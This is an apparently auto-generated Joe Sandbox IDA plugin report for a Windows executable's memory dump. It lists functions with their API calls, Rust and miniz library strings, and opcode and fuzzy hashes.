Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs
API String ID: 0-3544694999
Opcode ID: 4b3ec176b76211cd2a10c7cdccc78feed1dd0a790ac80f4a690f6e5a2fb89574
Instruction ID: 51044cd5afc569cfc3f0bfeff2a0c08dd7422e49f9bf4c99176ed59af87688fc
Opcode Fuzzy Hash: 4b3ec176b76211cd2a10c7cdccc78feed1dd0a790ac80f4a690f6e5a2fb89574
Instruction Fuzzy Hash: 49F113A2B04B9986EB64CFA4E8417E827A5FB447D8F444436DE0D9BB98CF3CD586C341

Function 00007FF699721A40 Relevance: 10.9, APIs: 7, Instructions: 370COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF699721CFA
GetFullPathNameW.KERNEL32 ref: 00007FF699721D0F
GetLastError.KERNEL32 ref: 00007FF699721D1A
GetLastError.KERNEL32 ref: 00007FF699721D33

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID:
API String ID: 2482867836-0
Opcode ID: 10edb34490b38a551cd0b2d9d6e45ced2d63e1d8984cb6416219109b2a70296a
Instruction ID: fbfa68740d93a14d386ae3a5e6ea7a45ced83ef28f896bb630c624d8aa9cda38
Opcode Fuzzy Hash: 10edb34490b38a551cd0b2d9d6e45ced2d63e1d8984cb6416219109b2a70296a
Instruction Fuzzy Hash: 23E17A62A1868285FF759F2598453BD63A5FF04BD8F448076DE1C8B786EF7CE6828300

Function 00007FF699777330 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 425COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF6997777A9

Strings

d->m_pOutput_buf < d->m_pOutput_buf_end, xrefs: 00007FF6997777A2
miniz.c, xrefs: 00007FF6997773A9, 00007FF69977779B
!d->m_output_flush_remaining, xrefs: 00007FF6997773B0
/, xrefs: 00007FF6997774BC

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: _assert
String ID: !d->m_output_flush_remaining$/$d->m_pOutput_buf < d->m_pOutput_buf_end$miniz.c
API String ID: 1222420520-939395013
Opcode ID: a487f9df0897c6ae8324075d8e35fc5177824fb5c02a170f67c9abbfe35eaa34
Instruction ID: b6c591db370732e478e3bd0aea5f1cc7c631a9ad4cec68fc6dd75d517b9ed81a
Opcode Fuzzy Hash: a487f9df0897c6ae8324075d8e35fc5177824fb5c02a170f67c9abbfe35eaa34
Instruction Fuzzy Hash: 6F121A72A04646DBD768CF39C44066C3BE6FB55B88F54857ACA09CB788EF39E845CB40

Function 00007FF69973C120 Relevance: 8.3, Strings: 6, Instructions: 813COMMON

Download Yara Rule

Strings

21tf, xrefs: 00007FF69973CCE7
fs11, xrefs: 00007FF69973CCD1
ft10, xrefs: 00007FF69973CCD9
11tf, xrefs: 00007FF69973CCEF
zero, xrefs: 00007FF69973CCC1
fs10, xrefs: 00007FF69973CCC9

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 11tf$21tf$fs10$fs11$ft10$zero
API String ID: 0-3297899624
Opcode ID: e6a83365bf47f4fa6ebce8182dbc1526a6300701e12ed640505a6a71e3e5322c
Instruction ID: 3a5e211a59144f8c0e10f519c4c495e4ad6f3ad4d0650391e2b39655db979d43
Opcode Fuzzy Hash: e6a83365bf47f4fa6ebce8182dbc1526a6300701e12ed640505a6a71e3e5322c
Instruction Fuzzy Hash: 1F52B35276C07242F3355F38F412A3EAE93D749F89EAD90B1DA8C0DDD4DE2F1691A620

Function 00007FF6996FD520 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 360COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6996FD5A5
memcpy.MSVCRT ref: 00007FF6996FD639
memset.MSVCRT ref: 00007FF6996FEBED

Part of subcall function 00007FF699720EF0: GetStdHandle.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF699720F1F
Part of subcall function 00007FF699720EF0: GetLastError.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF699720F2F

Strings

assertion failed: filled <= self.buf.init, xrefs: 00007FF6996FD678, 00007FF6996FEC6E

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memset$ErrorHandleLastmemcpy
String ID: assertion failed: filled <= self.buf.init
API String ID: 4037564346-906094691
Opcode ID: 393289d34c21c9435a835fe3c0108e54edf3a0261968d23094b9af20abc9f286
Instruction ID: 0b8259d7e736fa8eef86e4a416bb4d53a0012dd80f7463e89448e35a80cb6ab7
Opcode Fuzzy Hash: 393289d34c21c9435a835fe3c0108e54edf3a0261968d23094b9af20abc9f286
Instruction Fuzzy Hash: DDC1E372F04B4146FA24CF62A8102B967A1FB59BC8F544876DE6E87B41DF3CF081E200

Function 00007FF699777FA0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 429COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF69977849C

Strings

miniz.c, xrefs: 00007FF69977848E, 00007FF6997784DD
code < TDEFL_MAX_HUFF_SYMBOLS_2, xrefs: 00007FF6997784E4
bits <= ((1U << len) - 1U), xrefs: 00007FF699778495

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$code < TDEFL_MAX_HUFF_SYMBOLS_2$miniz.c
API String ID: 1222420520-2298030977
Opcode ID: c075d9dd20240d24c3aa77f113a6d644868bbeba7f4ba79e2041725402f427c6
Instruction ID: 596b0c06f9c0a9a28ca8d41c33fd002263396cebed4ea5776218dc7b4cac22e8
Opcode Fuzzy Hash: c075d9dd20240d24c3aa77f113a6d644868bbeba7f4ba79e2041725402f427c6
Instruction Fuzzy Hash: 1602A732A0C291C7E7398E28D4846FD7BA1F755B88F588575CA8A8B788EF7DD405C740

Function 00007FF69970DA50 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF69970DA2F), ref: 00007FF69970DA7D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF69970DA2F), ref: 00007FF69970DC10

Strings

overflow when subtracting durations, xrefs: 00007FF69970DBF8
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF69970DC2D

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value$overflow when subtracting durations
API String ID: 3362413890-1633623230
Opcode ID: e110d0550d4be53cca64662aa36c9b3c1f6baef898b34e672dcbe532d5d85635
Instruction ID: 25b19d1f400dbc369e164785680a169b546e2cdefb79767ab68b0c6b72c7d4c4
Opcode Fuzzy Hash: e110d0550d4be53cca64662aa36c9b3c1f6baef898b34e672dcbe532d5d85635
Instruction Fuzzy Hash: F0611522B287924AFB35DF64DA017BD2365EF443C4F5484B6DD0E8EB85DE6EA981C340

Function 00007FF699760CE0 Relevance: 6.7, APIs: 3, Strings: 1, Instructions: 706COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF699760D5D

Strings

assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF69976170F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memset
String ID: assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 2221118986-1476291318
Opcode ID: c484d39e8af73c0044e92734d9b92cb375ae71447c119cb24c27c06c6fbe52dd
Instruction ID: 0b0643dd6efe6488dec279a781b9ec50ebc086c33362580f0e0134df5e7b72ac
Opcode Fuzzy Hash: c484d39e8af73c0044e92734d9b92cb375ae71447c119cb24c27c06c6fbe52dd
Instruction Fuzzy Hash: DB520122B1868196EB24CF65D5087FC3361FB957D8F849271EE1E8BB94EF38A591C301

Function 00007FF69974F840 Relevance: 5.4, Strings: 4, Instructions: 356COMMON

Download Yara Rule

Strings

d, xrefs: 00007FF69974F9F5
FFFFFFFF, xrefs: 00007FF69974F876
cannot parse float from empty stringinvalid float literalassertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF69974FD32
FFFFFFFF, xrefs: 00007FF69974F994

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: FFFFFFFF$FFFFFFFF$cannot parse float from empty stringinvalid float literalassertion failed: edelta >= 0library\core\src\num\diy_float.rs$d
API String ID: 0-1258069422
Opcode ID: b919c37030ce28c58c3e421755fbc5dbe9e22fe64c590991e85f27ef456516ef
Instruction ID: e442a027cd7d9f38d9626380e512f3df4df027d8dec7242d55aeb09fe3305ca4
Opcode Fuzzy Hash: b919c37030ce28c58c3e421755fbc5dbe9e22fe64c590991e85f27ef456516ef
Instruction Fuzzy Hash: C5C1AD22F08AA586EF708F2585107B96B91FF12BE4F494A71DE6D8B3C2EE3D9541C700

Function 00007FF699749920 Relevance: 5.3, Strings: 4, Instructions: 306COMMON

Download Yara Rule

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF699749925
HygonGen, xrefs: 00007FF699749CD7
Authenti, xrefs: 00007FF699749CB8
GenuineI, xrefs: 00007FF699749D0A

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$Authenti$GenuineI$HygonGen
API String ID: 0-1540695585
Opcode ID: 497cf9bde67d657714d30a6a9e4ea4508630fa734bc516074808672686d99aab
Instruction ID: ee3ac5f0e0cb374782cd0daa1f38196ce4c959aaf17af4516400c6b05a0da643
Opcode Fuzzy Hash: 497cf9bde67d657714d30a6a9e4ea4508630fa734bc516074808672686d99aab
Instruction Fuzzy Hash: 23914DA3B2595106FF5C8966AC36BB94992B398BC8F08A03DDD5FDBBC5DC7CC9118240

Function 00007FF6997395B6 Relevance: 5.1, Strings: 4, Instructions: 76COMMON

Download Yara Rule

Strings

wCGR, xrefs: 00007FF6997395E5
wCGR, xrefs: 00007FF699739611
wCGR, xrefs: 00007FF69973963D
wCGR, xrefs: 00007FF6997395B6

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: wCGR$wCGR$wCGR$wCGR
API String ID: 0-1544543998
Opcode ID: b76849e2c63d6d30d82bc14477643e3235ad5eb05f076e6cf90bd5cefba32814
Instruction ID: 109ffed9f36284740cc9d14a34c863c5d55eb56feb962d39f2530a76d4d57fe9
Opcode Fuzzy Hash: b76849e2c63d6d30d82bc14477643e3235ad5eb05f076e6cf90bd5cefba32814
Instruction Fuzzy Hash: AC21B513F1C0A68AE7718E3A705167A6ED2DB8ABC6B28C071C1998E5D4DD7AE803D740

Function 00007FF69975A0E0 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 340COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF69975A5BC
memset.MSVCRT ref: 00007FF69975A60D

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF69975A235, 00007FF69975A352, 00007FF69975A38C, 00007FF69975A3D1, 00007FF69975A415, 00007FF69975A439

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memset
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 2221118986-3825506207
Opcode ID: 2ee8c62daf8919137ebe3993411475a7d742ad96e406f9c8ee6e6c9c5bbcabfd
Instruction ID: cbaee3b56f538fd2ab7f86dad87ce1895d640a18831ac4a65a62b2b64148fb2e
Opcode Fuzzy Hash: 2ee8c62daf8919137ebe3993411475a7d742ad96e406f9c8ee6e6c9c5bbcabfd
Instruction Fuzzy Hash: C9C1BD52714A6546DB589F3AA9012796A25FB88BE4F40D332EE2ECB7F4ED3CC540C311

Function 00007FF69973D887 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 281COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF69973DBCE
memcmp.MSVCRT ref: 00007FF69973DBE8

Strings

fcwfswxmm16xmm17xmm18xmm19xmm20xmm21xmm22xmm23xmm24xmm25xmm26xmm27xmm28xmm29xmm30xmm31k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17, xrefs: 00007FF69973DBC1

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: fcwfswxmm16xmm17xmm18xmm19xmm20xmm21xmm22xmm23xmm24xmm25xmm26xmm27xmm28xmm29xmm30xmm31k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17
API String ID: 1475443563-1161499575
Opcode ID: c263884aa9e3057750cdec65988fce9bccec6885e3903c3fde1f5f5258ffec36
Instruction ID: ca53d8e27f05d6289da36035df62b383a5af7fbd173136bf75d9349a026d8ae1
Opcode Fuzzy Hash: c263884aa9e3057750cdec65988fce9bccec6885e3903c3fde1f5f5258ffec36
Instruction Fuzzy Hash: BDA1D64192C0F646E7343F31B05257A39B2DB1EFC9F5A54B3DA898E9C4DF5EA141E220

Function 00007FF6997715DD Relevance: 4.7, Strings: 2, Instructions: 2158COMMON

Download Yara Rule

Strings

2, xrefs: 00007FF6997729FD
2, xrefs: 00007FF6997732BF

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 2$2
API String ID: 0-3784399050
Opcode ID: c9ff9ae3ff6a2fe64a4c15407332d654a052168682713aca6000e7b424874b26
Instruction ID: cc348be97dca720746ffdaf6b8fff02e0d127179cdfb6229b8526feceeb69f74
Opcode Fuzzy Hash: c9ff9ae3ff6a2fe64a4c15407332d654a052168682713aca6000e7b424874b26
Instruction Fuzzy Hash: 282382B2A196918BD3788F24C44067C7BB1F785B89F55C27ADB4A8B749CF38D841CB60

Function 00007FF699748A20 Relevance: 4.6, Strings: 3, Instructions: 821COMMON

Download Yara Rule

Strings

`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 00007FF6997495D9
__ZN, xrefs: 00007FF699748D22
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 00007FF699748A4B

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`
API String ID: 1475443563-1033176386
Opcode ID: 16589fd4f695f631ff2eb7b647e2bc6957d08e049c43548c85e5ce50ab016793
Instruction ID: 8244c89efcc16ad9597ed6a52590f75dbffd4361beecd3c2a7523a5bb076f69a
Opcode Fuzzy Hash: 16589fd4f695f631ff2eb7b647e2bc6957d08e049c43548c85e5ce50ab016793
Instruction Fuzzy Hash: 48624522E185A685F7348F2294146FD2B63FB05BD5F4542B5DE6E8B6C6DF38D940CB00

Function 00007FF6996DD1D0 Relevance: 4.4, APIs: 3, Instructions: 679COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6996DDC64

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 93119471c1f6efe8fbfbf97ed26e9b2a80bd43b04e852abf22b216e192d1ffd0
